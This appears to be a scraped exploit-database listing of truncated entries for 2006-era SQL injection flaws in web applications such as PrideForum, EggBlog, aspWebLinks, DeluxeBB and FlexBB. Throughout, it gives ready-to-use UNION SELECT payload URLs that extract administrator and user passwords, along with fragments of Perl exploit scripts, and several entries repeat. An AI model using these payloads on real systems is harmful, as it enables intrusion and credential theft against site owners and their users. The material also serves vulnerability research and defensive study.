ProPublish 2.0 - catid SQL Injection

ProPublish 2.0 - catid SQL Injection ProPublish 2.0 catid Remote SQL Injection Vulnerability Thanks to soot : http://www.securityfocus.com/archive/1/435787/30/0/threaded Exploited by FarhadKey from kapda.ir Exploit :...

ProPublish 2.0 (catid) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ========================================================= ProPublish 2.0 catid Remote SQL Injection Vulnerability ========================================================= ProPublish 2.0 catid Remote SQL Injection Vulnerability Thanks to...

aspWebLinks 2.0 Remote SQL Injection / Admin Pass Change Exploit

!-- Title : aspWebLinks 2.0 Remote Admin Pass Change Exploit and links.asp SQL Injection Author : ajann Dork : aspWebLinks 2.0 SQL INJECTION: http://target/path/links.asp?action=reporterror&linkID=22120union20select+0,administrativepassword,0,0,0,0,0,0,0+from+config -- titleAspWebLink 2.0 Remote...

aspWebLinks 2.0 Remote SQL Injection / Admin Pass Change Exploit

Exploit for unknown platform in category web applications ================================================================ aspWebLinks 2.0 Remote SQL Injection / Admin Pass Change Exploit ================================================================ AspWebLink 2.0 Remote Admin Pass Change...

Advisory: ASPSitem <= 2.0 Multiple Vulnerabilities.

--Security Report-- Advisory: ASPSitem = 2.0 Multiple Vulnerabilities. --- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 27/05/06 08:26 PM --- Contacts: ICQ: 10072 MSN/Email: [email protected] Web: http://www.nukedx.com --- Vendor: ASPSitem http://www.aspsitem.com Version: 2.0 a...

CosmicShoppingCart (search.php) Remote SQL Injection Vulnerability

Software: CosmicShoppingCart www.cosmicphp.com Risk: Medium Discovered by: Vympel Marcelo Almeida Background: CosmicShoppingCart is a PHP / MySQL e-commerce system. It is a fully customizable, shopping cart designed. SQL injections have been found, they could be exploited by users to retrieve the...

CosmicShoppingCart (search.php) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ================================================================== CosmicShoppingCart search.php Remote SQL Injection Vulnerability ================================================================== Software: CosmicShoppingCart...

Enigma Haber <= 4.3 Multiple Remote SQL Injection Vulnerabilities

No description provided by source. Enigma Haber = 4.3 Multiple Remote SQL Injection Vulnerabilities Contacts ICQ: 10072 MSN/Mail: [email protected] web: www.nukedx.com This exploits works on Enigma Haber = 4.3 Original advisory can be found at: http://www.nukedx.com/?viewdoc=34...

EggBlog < 3.07 - Remote SQL Injection / Privilege Escalation

http://site/EggBlog/rss/posts.php?id=1'//UNION//SELECT//0,concat'Username:%20',username,concat'Password:%20',password//from//eggblogmembers/ This SQL injection will list you all users and passwords. -- Eggblog 2.x Remote Privilege Escalation .xpl font-family:tahoma; font-size:11px; text-decoratio...

PrideForum 1.0 (forum.asp) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ============================================================= PrideForum 1.0 forum.asp Remote SQL Injection Vulnerability ============================================================= Title : PrideForum 1.0 forum.asp Remote SQL Injection...

PrideForum 1.0 - forum.asp SQL Injection

PrideForum 1.0 - forum.asp SQL Injection Title : PrideForum 1.0 forum.asp Remote SQL Injection Vulnerability Author : ajann Exploit Example: http://target/path/forum.asp?HID=1%20union+select+0,0,ID,JUser,0,0,0,JPass,ID,0+from+adminlogins+where+ID=1&Name=Allm%E4nt milw0rm.com 2006-05-27...

PrideForum 1.0 (forum.asp) Remote SQL Injection Vulnerability

No description provided by source. Title : PrideForum 1.0 forum.asp Remote SQL Injection Vulnerability Author : ajann Exploit Example: http://target/path/forum.asp?HID=1%20union+select+0,0,ID,JUser,0,0,0,JPass,ID,0+from+adminlogins+where+ID=1&Name=Allm%E4nt milw0rm.com 2006-05-27...

PrideForum 1.0 - 'forum.asp' SQL Injection

Title : PrideForum 1.0 forum.asp Remote SQL Injection Vulnerability Author : ajann Exploit Example: http://target/path/forum.asp?HID=1%20union+select+0,0,ID,JUser,0,0,0,JPass,ID,0+from+adminlogins+where+ID=1&Name=Allm%E4nt milw0rm.com 2006-05-27...

DeluxeBB <= 1.06 (name) Remote SQL Injection Exploit (mq=off)

Exploit for unknown platform in category web applications ============================================================= DeluxeBB SERVER: $server\r\n"; print " DIR: $dir\r\n"; print " USERID: $user\r\n"; print...

DeluxeBB &lt;= 1.06 (name) Remote SQL Injection Exploit (mq=off)

No description provided by source. !/usr/bin/perl use IO::Socket; print q DeluxeBB 1.06 Remote SQL Injection Exploit exploit discovered and coded by KingOfSka http://contropotere.netsons.org ; if !$ARGV2 print q Usage: perl dbbxpl.pl host /directory/ victimuserid perl dbbxpl.pl www.somesite.com...

VP-ASP 6.00 (shopcurrency.asp) Remote SQL Injection Vulnerability

No description provided by source. VP-ASP 6.00 SQL Injection / Exploit by [email protected] people claimed there is some underground sploit for vp-asp 6.00 and I was sure that if a sploit really exist in the ug i can find the bug and make a small hack for it ^^ well it didn't take me mor...

Limbo CMS <= 1.0.4.2 (catid) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ========================================================= Limbo CMS i Limbo CMS option=weblinks sql injection exploit i coded by Oo Usage: ?host=hostname&path=limbopath&id=userid Exemple: ?host=127.0.0.1&path=/limbo&id=1 g Google:...

invision215.txt

Invision Power Board v2.1.5 Remote SQL Injection Filename :- funcmod.php Functionname :- postdelete Lines :- 89 To 209 Bug Found By :- Devil-00 Greetz :- Rock Master ^ Hackers Pal ^ n0m4rcy ^ www.securtygurus.net Code if isarray $id if count$id 0 $pid = " IN".implode",",$id.""; else return FALSE;...

Invision Power Board v2.1.5 Remote SQL Injection

Invision Power Board v2.1.5 Remote SQL Injection Filename :- funcmod.php Functionname :- postdelete Lines :- 89 To 209 Bug Found By :- Devil-00 Greetz :- Rock Master ^ Hackers Pal ^ n0m4rcy ^ www.securtygurus.net Code if isarray $id if count$id 0 $pid = " IN".implode",",$id.""; else return FALSE;...

FlexBB0.5.5.pl.txt

!/usr/bin/perl use IO::Socket; FlexBB Exploit function/showprofile.php Remote SQL Injection 1- First Do Login 2- View This Link :D index.php?page=showprofile&id=-1' UNION ALL SELECT%201,username,3,4,5,6,7,8,9,0,1,2,3,password,5,6,7,8,9,0,1,2,3,4,3,4,5,7,8 FROM flexbbusers WHERE id=1/...